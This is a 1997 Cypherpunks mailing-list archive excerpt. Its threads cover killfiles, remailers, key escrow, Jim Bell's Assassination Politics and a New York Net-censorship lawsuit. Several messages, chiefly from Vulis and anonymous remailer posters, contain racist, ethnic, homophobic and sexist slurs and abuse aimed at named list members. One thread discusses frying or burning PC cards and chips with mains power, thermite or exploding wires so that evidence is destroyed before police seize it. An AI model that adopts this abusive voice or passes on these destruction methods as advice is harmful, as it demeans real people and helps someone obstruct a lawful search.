evid^H^H^H^HPC Card into the wall? Thanks." Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBM0vL9ckz/YzIV3P5AQFs3gL9Gb2T14AbJCwadf1n35iqYcbkY6npZL+l 1oe6BjQGi7Gql8aWCazxGdDvAfo0Hxg1744odCSBuT4BgeLzYpblaI+hCSTk1mar H7AqYjuC58RcJog/da/FJnLSQU3RjXtf =uO3j -----END PGP SIGNATURE----- From dlv at bwalk.dm.com Wed Apr 9 10:51:20 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 9 Apr 1997 10:51:20 -0700 (PDT) Subject: Killfiles (was: spambots) In-Reply-To: <334B36BD.7677@sk.sympatico.ca> Message-ID: Toto writes: > Dr.Dimitri Vulis KOTM wrote: > > > > Killfiles? So many scumbags whine about their inability to use them, > > so they try to silence whomever they don't like. > > Or they have them and still try to silence those whom they > don't like. Sure - remember how Sandy Sandfart, the marketing guy from C2Net, claimed that he's already filtering out me e-mail on this list, but wanted me silenced to protect the "newbies" who haven't yet filtered me out? > > Yes, if Alice just posts her regexps on a public Web page, a clueful > > person can automatically fetch them and add them to his killfile or > > even forge cancels for Bobs' articles that contain them. > > > > I think this would be a stupid thing to do because Bobs' articles > > may contain useful information besides Alice's ad. Also the regexp > > might occur in a followup to Bob's article, which may contain > > useful information. > > Some CypherPunks regularly brag about the size of their > killfiles. The anonymous coward known as "Lucky Green" likes to publicly *PLONK* anyone he disagrees with. This is supposed to represent the sound the address makes as it hits the killfile. of course once Lucky Green *PLONKS* someone, he becomes obsessed with that person - stalks them around and follows up on anything they say with his Cabal drivel. > To me, this is not a far cry from bragging about not reading > anything written by niggers, "Cause they ain't not got nothing > to say less'n they say they is goin' back to Africa." Well - they're welcome to killfile whatever they don't like. No one's forcing them to read the traffic they don't want. Problem is, net.scum like Cocksucker John Gilmore and Timmy May want to prevent others from having access to the information the net.scum wants to suppress. In a recent incident, a teenage Cabal stooge has published a defamatory web page known as "Global Killfile" and advertised it heavily on usenet. As the result, the wife of one of the people mentioned in the "Global Killfile" just had her plug pulled by her ISP who cited this as the only reason for their action. I think they have a very good civil case - better than C2Net's barratrous threats. > > But of course a reader is welcome to cut off his own nose to spite > > and face and to killfile anything he likes - as long as he doesn't > > prevent others from reading what they feel like reading. > > During the censorship experiment on the list, many of the > list members showed their flat-foreheaded tendencies by calling > for the censoring of anyone who deviated from the norm. Definitely - and I remember everyone who supported Cocksucker John Gilmore. On a related topic, consider the make.money.fast spam. Anyone with half a clue can killfile it both in Usenet and in e-mail, since it contains essentially the same key words. But a number of people feel obliged to forge cancels for MMF posted to Usenet because it's supposed to be a pyramid scheme that's supposed to be illegal in *some* jusrisdictions. Following the same logic, the government of Singapore can forge cancels for any Usenet articles critical of their Hitler-like leader because such criticism is illegal in Singapore. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From cynthb at sonetis.com Wed Apr 9 11:20:38 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Wed, 9 Apr 1997 11:20:38 -0700 (PDT) Subject: Black box attacks (was Re: Crypto-Dongel) In-Reply-To: <0nGwjx200YUf04XiI0@andrew.cmu.edu> Message-ID: On Wed, 9 Apr 1997, Jeremiah A Blatz wrote: > "Cynthia H. Brown" writes: > > If you're trying to destroy a standard IC, why don't you just hook up the > > power and ground pins to a 120V AC outlet? No special equipment or > > substances required, just a couple of wires. Done it myself, and some > > chips make a really neat popping sound as the top blows off :-) > > "Excuse me, Mr. Jack-booted Long Arm of The Law, do you mind putting > your gun away whilst I just plug this evid^H^H^H^HPC Card into the > wall? Thanks." If Mr. Jack-Boots And Friends are standing behind you, it's too late anyways. You certainly won't have time to dig out the thermite / magnesium, place it on the appropriate chip, and ignite it. If you're going to the trouble of rigging up an emergency destructo-circuit, you might as well make sure you have something that fries the chip / PCMCIA card completely. Cynthia =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From toto at sk.sympatico.ca Wed Apr 9 12:18:03 1997 From: toto at sk.sympatico.ca (Toto) Date: Wed, 9 Apr 1997 12:18:03 -0700 (PDT) Subject: which remailers are safe? In-Reply-To: <199704091457.KAA09412@main.inetnow.net> Message-ID: <334BDE51.1CD2@sk.sympatico.ca> 00043.an at edtec.com wrote: > > does anyone know about edtec.com? > The problem is, does anyone really know who their remailer is? > Which ones are known absolutely to be run by safe operators, > and which ones are thought or known to be trolls by Unsavory Characters? The edtec.com remailer is run by communist agents within the CIA who share their informations with capitalist agents in Red China. I will phone you at your unlisted number later tonight, in order to discuss this matter further. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From toto at sk.sympatico.ca Wed Apr 9 12:18:20 1997 From: toto at sk.sympatico.ca (Toto) Date: Wed, 9 Apr 1997 12:18:20 -0700 (PDT) Subject: Reporters, Declan, Columns, Articles, and Angles In-Reply-To: Message-ID: <334BE3F4.7176@sk.sympatico.ca> Declan McCullagh wrote: > I've been on cypherpunks long before I got my press credentials. The > topics genuinely interest me, and this is one of the few jobs where I can > follow them full-time. If I wanted to make a decent living, I would have > taken that job as a management consultant instead. (Some of us aren't > independently wealthy, Tim.) Mercenary? Not quite. Journalists don't get > paid a whole hell of a lot. And Declan's articles genuinely interest 'me'. Having done a variety of 'reports' ranging from business reports to press reports, I recognize that they have to be written so as to be readable to those with no deep-rooted background in the events or issues being reported. While those who faithfully follow the CypherPunks list and the issued discussed here may find his reports somewhat shallow, I try to read them from the perspective of those who have an interest in the issues but only limited knowledge concerning them. From this perspective, Declan's reports do a good deal to enlighten the masses in regard to whatever issue he addresses. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From toto at sk.sympatico.ca Wed Apr 9 12:32:04 1997 From: toto at sk.sympatico.ca (Toto) Date: Wed, 9 Apr 1997 12:32:04 -0700 (PDT) Subject: Reactionaries In-Reply-To: <334AAE5E.38F5@sk.sympatico.ca> Message-ID: <334BEEBF.578D@sk.sympatico.ca> Timothy C. May wrote: > Let's not make the Cypherpunks firing squad a circle. Although Tim has been on the rag lately, perhaps this bit of humor is a sign that his period (pardon the pun) of male menopause is over. -----BEGIN PGP SIGNATURE----- Version: Wouldn't you like to know? Hey!Youstinkingcops!I'musingPGPsoyouguyscanjustgofuck yourselfifyouthinkyou'regoingtoreadmyshit. =uO3j -----END PGP SIGNATURE----- -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From shamrock at netcom.com Wed Apr 9 13:10:11 1997 From: shamrock at netcom.com (Lucky Green) Date: Wed, 9 Apr 1997 13:10:11 -0700 (PDT) Subject: on micro-explosions was Re: Black box attacks (was Re: Crypto-Dongel) Message-ID: <3.0.32.19970409103942.006ee50c@netcom13.netcom.com> At 11:46 PM 4/8/97 -0700, shadow at count04.mry.scruznet.com wrote: >instead of minute quantities of explosives one could use extremely fine wires >suspended a small distance from the substrate to be destroyed. >Feed a short(below 3 ms) high current pulse(figure a 400w/s photoflash supply) >the wavefront from the exploding wire will be in the supersonic region. >this method may be used in lieu of explosives to achieve the effect of >a high order detonation. gee wonder if the >atf will forbid us capacitors and wires now :) Wavefronts are a possibility. The disadvantage of any capacitor based system is that capacitors discharge over time. If the system gets disconnected from the power supply, before long the device has to be activated or lose its effectiveness. "Use it or lose it". This may not be ideal for the particular application. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From bubba at dev.null Wed Apr 9 13:13:25 1997 From: bubba at dev.null (Bubba Rom Dos) Date: Wed, 9 Apr 1997 13:13:25 -0700 (PDT) Subject: WebWorld 29 Message-ID: <334BF813.7919@dev.null> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 14192 bytes Desc: not available URL: From shamrock at netcom.com Wed Apr 9 13:45:29 1997 From: shamrock at netcom.com (Lucky Green) Date: Wed, 9 Apr 1997 13:45:29 -0700 (PDT) Subject: Black box attacks (was Re: Crypto-Dongel) Message-ID: <3.0.32.19970409134223.007296b8@netcom13.netcom.com> At 12:35 PM 4/9/97 -0400, Cynthia H. Brown wrote: >If you're trying to destroy a standard IC, why don't you just hook up the >power and ground pins to a 120V AC outlet? You are unlikely to have AC in a system by the time the tamper detector senses an intrusion. Similar problems apply to arcs and anything based on discharging a large capacitor. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From cynthb at sonetis.com Wed Apr 9 14:43:59 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Wed, 9 Apr 1997 14:43:59 -0700 (PDT) Subject: Black box attacks (was Re: Crypto-Dongel) In-Reply-To: <3.0.32.19970409134223.007296b8@netcom13.netcom.com> Message-ID: On Wed, 9 Apr 1997, Lucky Green wrote: > At 12:35 PM 4/9/97 -0400, Cynthia H. Brown wrote: > >If you're trying to destroy a standard IC, why don't you just hook up the > >power and ground pins to a 120V AC outlet? > > You are unlikely to have AC in a system by the time the tamper detector > senses an intrusion. Similar problems apply to arcs and anything based on > discharging a large capacitor. True, if you haven't installed a circuit in advance with some sort of switch or circuit breaker to kick in when the PC's cover is opened (in your absence), or the Big Red Button beside your PC is pushed (in your presence). Assuming you're dealing with a PCMCIA card, it would be easy to rig up an alternate "reader" to fry the card as soon as it's plugged in. All of this has been done before - most high-security crypto devices have built-in zeroisation / tamper response. And no, I'm not sufficiently paranoid to have this on _my_ home PC. Cynthia =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From camcc at abraxis.com Wed Apr 9 14:56:25 1997 From: camcc at abraxis.com (Alec) Date: Wed, 9 Apr 1997 14:56:25 -0700 (PDT) Subject: Reactionaries In-Reply-To: <334AAE5E.38F5@sk.sympatico.ca> Message-ID: <3.0.1.32.19970409175517.007ceaf0@smtp1.abraxis.com> -----BEGIN PGP SIGNED MESSAGE----- At 01:32 PM 4/9/97 -0600, you wrote: |Timothy C. May wrote: | |> Let's not make the Cypherpunks firing squad a circle. | | Although Tim has been on the rag lately, perhaps this bit |of humor is a sign that his period (pardon the pun) of male |menopause is over. This sort of snide sexist humor has no place here. Alec -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBM0wQQiKJGkNBIH7lAQGBaQQAsuFkZj/9SiPCQQVBRXTGJNCwd0vK2y// +FPs5naC0/xxEVR/K5TA2gP9L9LxQ9E8/XPV7UuMUnlac57TKhfZWA3R5nsEDwt2 lQ0ypCjeQjDodAOI5IkBLBOTXm+TUBFWlU7XyDk/xP23IOkCPFETU28qOAkbO3eq K81NNgvfnPs= =3mlt -----END PGP SIGNATURE----- From kent at songbird.com Wed Apr 9 15:05:10 1997 From: kent at songbird.com (Kent Crispin) Date: Wed, 9 Apr 1997 15:05:10 -0700 (PDT) Subject: Black box attacks (was Re: Crypto-Dongel) In-Reply-To: <3.0.32.19970409134223.007296b8@netcom13.netcom.com> Message-ID: <19970409150210.65475@bywater.songbird.com> On Wed, Apr 09, 1997 at 01:45:19PM -0700, Lucky Green wrote: > At 12:35 PM 4/9/97 -0400, Cynthia H. Brown wrote: > >If you're trying to destroy a standard IC, why don't you just hook up the > >power and ground pins to a 120V AC outlet? > > You are unlikely to have AC in a system by the time the tamper detector > senses an intrusion. Similar problems apply to arcs and anything based on > discharging a large capacitor. I don't think power is the problem -- you could always include a small rechargable battery in the device, which would be plenty to fry an IC, given suitable support circuitry. The real problem is the logic of the tamper detector itself. How does it "detect tampering"? You would want it to detect mechanical tampering, of course, but that's a non-trivial engineering proble. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From dlv at bwalk.dm.com Wed Apr 9 15:23:01 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 9 Apr 1997 15:23:01 -0700 (PDT) Subject: NSA Intercepts Sent to Democratic National Committee In-Reply-To: Message-ID: "Timothy C. May" writes: > Reports that the White House fed NSA phone intercepts to the Democratic > National Committee (DNC), for political purposes. > > The calls were between a New York businessman and a Latvian national. This reminds me how some stupid cunt on Usenet thought I was latvian and posted hundreds of kilobytes of flames about how stupid latvians were using me as an example. Of course, I am NOT latvian in any way. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Apr 9 15:23:24 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 9 Apr 1997 15:23:24 -0700 (PDT) Subject: Bot-generated insults In-Reply-To: Message-ID: Ray Arachelian writes: > > > written basic at that. I've seen better code written by chimpanzees. > > If Ray "Arsen" Arachelian can work for Earthweb, LLP, as an "associate > > network adiministrator", then I'm not surprised if they have chimpanzees > > writing Java code as well. > As for the programmers Earthweb employs, I can assure you there is nary any > of the ape family. (Though some wear extremely cool beards :) And Java > they can write. But I code no Java, so I won't speak further on the issue. No one thought you could. We already know that chimpanzees are smarter than Amrenians. Please don't waste the bandwidth by demonstrating it yet again. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From stewarts at ix.netcom.com Wed Apr 9 15:30:33 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 9 Apr 1997 15:30:33 -0700 (PDT) Subject: "...markets are fundamentally chaotic, not efficient"? Really? In-Reply-To: Message-ID: <3.0.1.32.19970409120348.005e53f8@popd.ix.netcom.com> Kent and Bob have been huffing and puffing and blowing each others's straw men down for a few stochastically-determined rounds.... >Sorry. It's Edgar Peters, "Chaos and Order in the Capital Markets", >John Wiley, 1991. I'm sure you will rush out and buy a copy :-) > >> > Chaotic is not the same as stochastic. ... >Clearly, you don't know what you are talking about. Strictly >speaking, chaotic behavior (as mathematically defined in chaos theory) >is completely *deterministic*, not random. By that definition, markets, whether for capital or assassins, are distinctly _not_ chaotic*, since most people's decisions [* Unless Life, The Universe, and Everything are really deterministic, but fate has decreed that I don't believe that...] about what stocks to buy/sell, and particularly the timing, are influenced by lots of random events - when they hear what information, whether they were busy doing something else when they heard, whether they'd just blown their disposable income on a new car because that freak windstorm dropped a tree on their car the same week the Post Office ate their car insurance payment, whether Alan Greenspan had a bad pizza the night before the quarterly interest rates came out or too much caffeine before his latest speech.... Much of the market is driven by the large institutional trading houses, and increasingly by their computer models, but a lot of it's random, and those functions that are chaotic are driven by random inputs. To the extent that the interactions are chaotic rather than linear, it is hard to develop good models of what the market might do and squeeze a few more bits of predictive information out of the vast quantity of observable random data; even with good computer models and Nuclear Physics PhDs on Wall Street there'll probably always be enough inefficiency left in the market for people to squeeze a few more megabucks worth of arbitrage out of it. [Of course, one of the most effective ways to make money in the market has always been to provide high-priced (or low-priced high-volume) investment advice to investors - and chaos theory has contributed not only to the profitability of some investors but to the buzzword-supply of hucksters in many fields, and selling buzzwords can make a lot of short-term money...] >> Most of the physicists hired by Wall Street were people who >> discovered market analogs to physical processes. The one physicist I knew well who went to Wall Street did it during the stock market boom of 1987. (Oops...) He was fortunate to avoid getting caught in one of the major fallouts of the '87 stock crash, which was the '87-'88 stock market job crash, though. >> > Obviously I can't "prove" markets are not efficient -- >> > that's an empirical matter, not a mathematical matter. The standard way to prove that a market is inefficient is to go tap some money out of it. Doing so does eliminate that particular inefficiency after a while, but there keep being enough people employed on Wall Street to suggest that there's always inefficiency. >> > "Whip me! Beat me! Savage me in Cypherpunks!" I didn't come here for an argument.... # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From stewarts at ix.netcom.com Wed Apr 9 15:30:40 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 9 Apr 1997 15:30:40 -0700 (PDT) Subject: $20,000 the going rate? In-Reply-To: <3349B4D0.7977@sk.sympatico.ca> Message-ID: <3.0.1.32.19970409121544.005e53f8@popd.ix.netcom.com> >>> "TWO ACCUSED OF MURDER-FOR-HIRE PLOT" >>> Overheard phone call leads to arrests >> And the way this relates to Jim Bell is... >No direct relation. :) It's one of those "We've already established what you are, and now we're just haggling about price" things. "I don't do 'work' -- but I have a friend who does." # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From stewarts at ix.netcom.com Wed Apr 9 15:31:12 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 9 Apr 1997 15:31:12 -0700 (PDT) Subject: [Key Markets] Re: "...markets are fundamentally chaotic, not efficient"? In-Reply-To: Message-ID: <3.0.1.32.19970409120317.005e53f8@popd.ix.netcom.com> Crispin and Hettinga discussing efficient markets for key bailment: >> In a geodesic network, a single node can not possibly process all >> the information in the network. It chokes, and the network routes >> around it. >> You can bet that any key escrow agent would be innundated with >> surveillance requests We're not talking about a lot of bits, here. If you take care of the hard problem, which is getting people to hand their keys over to easily located key baliffs for no good business reason, the amount of retrieval work is really a lot smaller than the work of wiretapping all the communications and selecting targets. If the government expects to get the key owners to pay for bailment, and get retrievals for free in return for paper copies of warrants blue-ink-signed by judges, in triplicate, with hand-pressed notary seals, yes, that'd be a bottleneck. On the other hand, if the key bailiffs accept electronic requests, digitally signed by the judge's key, with electronic payment attached (whether DigiCash or EscrowBucks), the costs of the key bailment service are quite low and the profit on each request makes it worthwhile to expand the business to meet rapidly-increasing demand - cheap enough to the government to make it worth wiretapping more encrypted transactions. Since the Secretary gets to approve Key Recovery Agent Parties, he can disavow all knowledge of agents who insist on a real signature and want to be sure the request was signed by a real judge rather than by some clerk or cop using the Escrowed copy of the judge's key. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From declan at well.com Wed Apr 9 16:58:11 1997 From: declan at well.com (Declan McCullagh) Date: Wed, 9 Apr 1997 16:58:11 -0700 (PDT) Subject: New York court hears challenge to state Net-censorship law Message-ID: ********** Date: Wed, 9 Apr 1997 17:50:08 -0400 To: fight-censorship-announce at vorlon.mit.edu From: Declan McCullagh Subject: FC: New York court hears challenge to state Net-censorship law Sender: owner-fight-censorship-announce at vorlon.mit.edu Reply-To: declan at well.com X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/ ************** http://cgi.pathfinder.com/netly/editorial/0,1012,811,00.html The Netly News Network April 8, 1997 The Bad Apple by Declan McCullagh (declan at well.com) To those of us who follow such events, it's a common enough scene: a squad of civil liberties attorneys troops into a federal courtroom to do righteous battle with an unconstitutional law. It happened this week in New York City, before a judge who finished hearing testimony yesterday in a case the ACLU brought against yet another state Net-censorship statute. The outcome in this lawsuit, however, will reverberate not just in the Empire State but also along the marble corridors of the U.S. Capitol. If the Supreme Court rules that the Communications Decency Act indeed violates the First Amendment, Congress hopes the New York case will guide it in revising the law so it passes constitutional muster. And given how the New York case is shaping up for the forces of unbridled free speech, that could be ugly. A group of 15 plaintiffs challenging the New York statute filed suit in January, arguing that that the law unconstitutionally stifles online speech and unduly interferes with interstate commerce on the Net. The measure, which took effect last November, amends the penal code by making it a crime to distribute online pictures or text "which is harmful to minors." Attorneys for the New York attorney general's office, who are defending the law, say that the "harmful to minors" legal standard isn't as heinous as the CDA's "indecency" ban -- it covers only sexually explicit pictures, not textual conversations. They also argue that filtering software could be used to help online purveyors of adult-only stuff comply with the state statute. Of course, as always, academics, librarians and artists point out that these attempts to limit online communications are overly broad and ill-defined. What I consider harmful to a kid might not be what you consider harmful, after all. Yesterday four witnesses testified for the plaintiffs, uniformly saying they felt threatened by the law. "I walk around with a healthy fear that every book in our collection would give someone the idea that we're giving harmful materials to minors," said Maurice Friedman, executive director of the Westchester Library System. Rudolf Kinsky, an artist from Poland, weighed in next: "I feel a chilling effect on my creativity. Someone could consider my art harmful to minors and could prosecute me. I came to this country [from Poland] looking for freedom of speech, not this." But yesterday's testimony seemed like the capper to an overwhelmingly poor showing the government made in its opening arguments last week. The government's case lasted a mere hour and was hardly persuasive. Among other gaffes, the state failed to slide a new legal standard -- "level of maturity" -- into the discussion; Judge Loretta Preska quickly rebuffed that attempt: "I don't read 'level of maturity' anywhere in the statute," she said, nettled. That wasn't the only time Preska pounced on the government. By the end of the three-day hearing, I was ready to bet good money on the ACLU winning yet another victory for the Net. But I have a confession to make. In January I claimed that "knocking down New York's law should be a virtual slam dunk," saying it suffers from all of the same problems as the CDA. But now, after reading a recent law review article by UCLA law professor Eugene Volokh, I'm not as sure. Volokh points out that the government could rely on the ready existence of ratings schemes, such as RSACi and PICS, which give publishers the ability to keep their material out of the hands of minors. He writes: "Under the existing doctrine, it would be constitutional to criminalize the display of any harmful-to-minors material which does not carry a correct rating." In other words, rate your web pages with RSACi or go to jail. (I can't see Microsoft, the Software Publishers Association and other RSACi boosters probably opposing this. I can smell another Microsoft world-domination plot brewing already...) Indeed, Volokh told me yesterday that he thinks the New York attorney general may have a workable case. "I think the state has a decent defense. They could say look, this rating imposes a burden but not a very high burden. It's like that imposed on a bookseller. All you're required to do is put on this label." Certainly, Net rating systems played a big part in the New York trial. Last Friday a government attorney asked: "In general, what would be more burdensome as a whole: requiring millions of web sites to rate their contents or just requiring a percentage of web sites that contain graphical objectionable material to rate their web sites?" What the government was trying to point out was that rating systems like RSACi -- that let you assign values to web pages based on nudity or violence -- are increasingly commonplace. If they're commonplace, then netizens may be able to comply with the New York law. And if netizens can comply with the law, then it may be constitutional. [...] "Harmful to minors is something people will talk about again and it's an option, but I don't want to say we'll be out there trumpeting it," says Connie Correll, spokeswoman for Rep. Rick White, a Republican congressman from Washington State -- whose district includes Microsoft. (Coincidence, or another Microsoft attempt at world domination? While you're pondering the question, keep in mind that White championed "harmful to minors" language in December 1995, but Congress rejected it in favor of the CDA's broader "indecency" ban.) Correll adds: "People are watching the New York case. I think it's going to be a real good indication." So do I. ### -------------------------------------------------------------------------- This list is public. To join fight-censorship-announce, send "subscribe fight-censorship-announce" to majordomo at vorlon.mit.edu. More information is at http://www.eff.org/~declan/fc/ ------------------------- Time Inc. The Netly News Network Washington Correspondent http://netlynews.com/ From dlv at bwalk.dm.com Wed Apr 9 17:11:49 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 9 Apr 1997 17:11:49 -0700 (PDT) Subject: Reactionaries In-Reply-To: <3.0.1.32.19970409175517.007ceaf0@smtp1.abraxis.com> Message-ID: Alec writes: > -----BEGIN PGP SIGNED MESSAGE----- > > At 01:32 PM 4/9/97 -0600, you wrote: > |Timothy C. May wrote: > | > |> Let's not make the Cypherpunks firing squad a circle. > | > | Although Tim has been on the rag lately, perhaps this bit > |of humor is a sign that his period (pardon the pun) of male > |menopause is over. > > This sort of snide sexist humor has no place here. What sort of humor does have a place here? Timmy's racist rants about petards and crazy Russians? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From nobody at huge.cajones.com Wed Apr 9 23:12:58 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Wed, 9 Apr 1997 23:12:58 -0700 (PDT) Subject: Reactionaries Message-ID: <199704100612.XAA27490@fat.doobie.com> Toto is another loser who pays for sick.sympatico.ca-ca because he lacks the mental capacity to gain net access as a perk of either employment or academic achievment. ,,, ($ $) -ooO-(_)-Ooo- To[homo]to From lucifer at dhp.com Wed Apr 9 23:27:49 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Wed, 9 Apr 1997 23:27:49 -0700 (PDT) Subject: Assassination Politics Message-ID: <199704100627.CAA10692@dhp.com> Toto's abysmal grammar, atrocious spelling and feeble responses clearly identify him as a product of the American education system. >\\\|/< |_ ; (O) (o) -OOO--(_)--OOOo- T[h]o[mo]to From caseym at genesisnetwork.net Wed Apr 9 23:51:08 1997 From: caseym at genesisnetwork.net (casey moss) Date: Wed, 9 Apr 1997 23:51:08 -0700 (PDT) Subject: Premium Webhosting Services Message-ID: <3.0.1.32.19970308223636.00679cb0@webb.genesisnetwork.net> Thanks for requesting the GENESIS Network website hosting information guide, to make this short so we do not take up your valuable time, please stop in and visit us at ... http://www.genesisnetwork.net " look for the red chili pepers " The rest is easy. From nobody at hidden.net Thu Apr 10 00:23:52 1997 From: nobody at hidden.net (Anonymous) Date: Thu, 10 Apr 1997 00:23:52 -0700 (PDT) Subject: Reactionaries Message-ID: <199704100619.XAA05430@swan> Toto is another loser who pays for sick.sympatico.ca-ca because he lacks the mental capacity to gain net access as a perk of either employment or academic achievment. ,,, ($ $) -ooO-(_)-Ooo- To[homo]to From sergey at el.net Thu Apr 10 00:42:53 1997 From: sergey at el.net (Sergey Goldgaber) Date: Thu, 10 Apr 1997 00:42:53 -0700 (PDT) Subject: Jim Bell raid In-Reply-To: <3.0.1.32.19970409033358.02744600@postoffice.pacbell.net> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- On Wed, 9 Apr 1997, Greg Broiles wrote: - -> At 04:56 AM 4/9/97 -0400, Sergey Goldgaber wrote: - -> >The search warrant was not made public on the cpunks list. As you can see - -> >form the above excerpt, I was commenting on the "IRS Inspection" report, - -> which - -> >was virtually the first description of Jim Bell's arrest, long before there - -> >were even requests for information on the procedures for obtaining the - -> >search warrants, etc... - -> - -> I realize that we're talking about net-time, but "long before" seems like a - -> poor way to describe the 2-2.5 days between the appearance of the "IRS - -> Inspection" report (which was, in fact, the transcription of newspaper story) Time flies fast on the Internet; or haven't you noticed? Three days of rather heated discussion took place between the time the arrest was announced and your message saying that you had the warrants, etc. - -> and the WWW publication of the warrant & accompanying material. I saw no mention anywhere on the list of those documents being available, only that you were considering making them available. By the way, at the time I wrote my quoted response, you yourself had as little "clue" as most anyone else: -> Date: Thu, 03 Apr 1997 12:16:19 -0800 -> From: Greg Broiles -> To: cypherpunks at toad.com -> Subject: Jim Bell raid -> -> A southern Washington newspaper, The Columbian (apparently published in -> Vancouver) provides a "greeked" (e.g., squiggles instead of text) version of -> its front page at http://www.columbian.com (you'll have to pick the frame for -> "The latest Columbian headlines") - and today's page one above-the-fold -> headline is "Affidavit: Internet essay solicits murder". -> -> It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I -> haven't seen him write anything that I thought was criminal. My message followed three hours later. I see it was directed against your hasty "loon" conclusion. This explains the tone of your later message, along with your determination. It seems like you're taking this a little personally. - -> Also, Declan - -> was posting details from the warrant within 24 hours of the initial message. All he said was that he had them. No details. And all this is so nitpicky that I can't believe I even bothered originally replying to you, merely because of the patronizing tone of your message. I must have been having a bad day. Today is worse, though, witness the present message. The rest of your post is at least intelligently worded, however, so I'm glad I persevered through it. - -> As far as I can tell, the events of last week haven't changed people's - -> opinions of AP at all - people who thought it was interesting/useful still - -> do, and people who thought it was uninteresting/stupid still do. I can't - -> speak for other posters to the list, but I'm inclined to distance myself from - -> AP not because I'm scared of a government raid, Perhaps you should be! Where's that healthy cypherpunk paranoia? :) - -> but because I think it's theoretically uninteresting/unremarkable, I think its rather interesting, at least as far as discussions of possible consequences of cryptography are concerned. And theory that brings together technology and ethics is all the most interesting. - -> politically/tactically poorly considered His original posting was ill considered, I agree. He did consider it much more in the following years, you must concede. Bell did not, afterall, propose that we fight a land war in China. This scheme relies mostly on encryption and anonymity, which takes care of the tactical part. His political agenda is at least self consistant. - -> morally indefensible, and What a cro-magnon sentiment, and coming from such a bright lad. :) (Sorry, my turn to be patronizing :) Morality is logically indefensible. If it weren't for your earlier disclaimer, saying that you're speaking only for yourself, I'd go off on a philosophy/ethics rant. - -> irresponsibly misleading to the extent it purports to discuss US law. I've got to hand it to you there. No where does he claim to be a lawyer. However, he does give the impression of knowing the law. - -> I don't want my comments about Jim Bell's right to discuss his silly - -> ideas to be confused with apologies or approval for the ideas themselves. Duly noted. - -> I believe Jim has every right to write essays about AP, give speeches & - -> seminars about AP, talk about "wonderful things" all that he likes, etc. Agreed. - -> But - -> the "marketplace of ideas" model, whereby good speech is expected to negate - -> bad speech, depends on the willingness of other people to provide "good - -> speech", or at least call "bad speech" into question. I think AP is "bad - -> speech" in the same way the "the earth is flat" is bad speech; it is (and - -> ought to be) legal to say it, but it's also a non-useful idea, which I hope - -> will be abandoned in favor of more useful ideas. Ah, an advocate of the survival of the fittest idea, and a utilitarian to boot. Well, may your memes flourish. However, to be consistent, you must admit that the fittest and more "useful" ideas may have nothing to do with your defenses of particular politics, morals, or laws. In fact, they have as much, or more, to with the environment that they are in as their content. Thus, there is no "bad speech" or "good speech". Certain ideas simply "win" in certain circumstances. Had the circumstances been slightly different, different ideas would have "won". - -> I've been ignoring (pre-raid) discussions about AP because I think that an - -> eternal recycling of arguments is uninteresting and unproductive. I'm following you. - -> I think - -> that the search of Jim's house, and its relationship to his free speech - -> activities, is interesting - not because of the [lack of] quality of his - -> ideas, but because I think this may be a case where law enforcement used its - -> power to search & seize property in a punitive fashion. And that concerns me, - -> because I think that isn't uncommon where the target is a "dissident", of one - -> flavor or another; and I think that dissidents don't/shouldn't lose 